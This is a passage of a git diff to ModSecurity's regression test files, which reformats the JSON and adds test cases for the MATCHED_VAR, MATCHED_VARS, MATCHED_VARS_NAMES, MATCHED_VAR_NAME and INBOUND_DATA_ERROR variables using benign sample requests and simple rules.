"Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\" \\(Variable: INBOUND_DATA_ERROR\\)" + "expected": { + "debug_log": "Target value: \"0\" \\(Variable: INBOUND_DATA_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule INBOUND_DATA_ERROR \"@eq 1\" \"id:1,phase:3,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: INBOUND_DATA_ERROR (1/1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: INBOUND_DATA_ERROR (1/1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"1\" \\(Variable: INBOUND_DATA_ERROR\\)" + "expected": { + "debug_log": "Target value: \"1\" \\(Variable: INBOUND_DATA_ERROR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyLimit 2", "SecRule INBOUND_DATA_ERROR \"@eq 1\" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-MATCHED_VAR.json b/test/test-cases/regression/variable-MATCHED_VAR.json index 84ee940e93..b4838d689c 100644 --- a/test/test-cases/regression/variable-MATCHED_VAR.json +++ b/test/test-cases/regression/variable-MATCHED_VAR.json @@ -1,86 +1,234 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VAR (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR (1/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)" + "expected": { + "debug_log": "Target value: \"other_value\" \\(Variable: MATCHED_VAR\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:key \"@contains other_value\" \"chain,id:28,pass\"", "SecRule MATCHED_VAR \"@contains asdf\" \"\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VAR (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR (2/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 0" + "expected": { + "debug_log": "Rule returned 0", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:key \"@contains other_value\" \"chain,id:28,pass\"", "SecRule MATCHED_VAR \"@contains Aasdf\" \"\"", - "SecRule MATCHED_VAR \"@contains other_value\" \"id:29,pass\"", "SecRule MATCHED_VAR \"@contains other_value\" \"id:30,pass\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR (3/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VAR \"@eq 1\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR (4/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VAR \"@eq 2\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR (5/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,deny,status:403,chain\"", + "SecRule MATCHED_VAR \"@eq 2\"" + ] } ] - diff --git a/test/test-cases/regression/variable-MATCHED_VARS.json b/test/test-cases/regression/variable-MATCHED_VARS.json index 7d469a0fe2..42ecf3eafe 100644 --- a/test/test-cases/regression/variable-MATCHED_VARS.json +++ b/test/test-cases/regression/variable-MATCHED_VARS.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VARS (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (1/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value\" \\(Variable: MATCHED_VARS:ARGS:keyI\\)" + "expected": { + "debug_log": "Target value: \"value\" \\(Variable: MATCHED_VARS:ARGS:keyI\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", @@ -41,46 +47,235 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VARS (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (2/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value\" \\(Variable: MATCHED_VARS:ARGS:keyI\\)" + "expected": { + "debug_log": "Target value: \"value\" \\(Variable: MATCHED_VARS:ARGS:keyI\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", "SecRule MATCHED_VARS \"@contains asdf\" \"\"", "SecRule MATCHED_VARS \"@contains value\" \"id:29\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (3/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VARS \"@contains 1\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (4/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VARS \"@contains 2\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (5/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VARS \"@within 1 2\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS (6/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,deny,status:403,chain\"", + "SecRule MATCHED_VARS \"@eq 2\"" + ] } ] - diff --git a/test/test-cases/regression/variable-MATCHED_VARS_NAMES.json b/test/test-cases/regression/variable-MATCHED_VARS_NAMES.json index a734e71b4d..4294f9d4f5 100644 --- a/test/test-cases/regression/variable-MATCHED_VARS_NAMES.json +++ b/test/test-cases/regression/variable-MATCHED_VARS_NAMES.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VARS_NAMES (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS_NAMES (1/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VARS_NAMES:ARGS:keyII\\)" + "expected": { + "debug_log": "Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VARS_NAMES:ARGS:keyII\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", @@ -41,46 +47,189 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VARS_NAMES (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS_NAMES (2/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"ARGS:keyI\" \\(Variable: MATCHED_VARS_NAMES:ARGS:keyI\\)" + "expected": { + "debug_log": "Target value: \"ARGS:keyI\" \\(Variable: MATCHED_VARS_NAMES:ARGS:keyI\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", "SecRule MATCHED_VARS_NAMES \"@contains asdf\" \"\"", "SecRule MATCHED_VARS_NAMES \"@contains value\" \"id:29\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS_NAMES (3/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,pass\"", + "SecRule MATCHED_VARS_NAMES \"@within ARGS:foo ARGS:bar ARGS:baz\" \"id:3,phase:1,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS_NAMES (4/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,deny,status:403,chain\"", + "SecRule MATCHED_VARS_NAMES \"@strEq ARGS:foo\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VARS_NAMES (5/5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?foo=1&bar=2&baz=2", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx 1\" \"id:1,phase:1,pass\"", + "SecRule ARGS \"@rx 2\" \"id:2,phase:1,deny,status:403,chain\"", + "SecRule MATCHED_VARS_NAMES \"@within ARGS:bar ARGS:baz\"" + ] } ] - diff --git a/test/test-cases/regression/variable-MATCHED_VAR_NAME.json b/test/test-cases/regression/variable-MATCHED_VAR_NAME.json index ef9c43ca4a..4fbbebefc3 100644 --- a/test/test-cases/regression/variable-MATCHED_VAR_NAME.json +++ b/test/test-cases/regression/variable-MATCHED_VAR_NAME.json @@ -1,39 +1,45 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VAR_NAME (1/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VAR_NAME\\)" + "expected": { + "debug_log": "Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VAR_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", @@ -41,40 +47,46 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VAR_NAME (2/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?keyI=value&keyII=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?keyI=value&keyII=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":" Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VAR_NAME\\)" + "expected": { + "debug_log": " Target value: \"ARGS:keyII\" \\(Variable: MATCHED_VAR_NAME\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:keyI \"@contains value\" \"chain,id:28,pass\"", "SecRule ARGS:keyII \"@contains other_value\" \"chain\"", @@ -83,44 +95,233 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: MATCHED_VAR_NAME (3/3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: MATCHED_VAR_NAME (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key1=value&key2=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key1=value&key2=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." 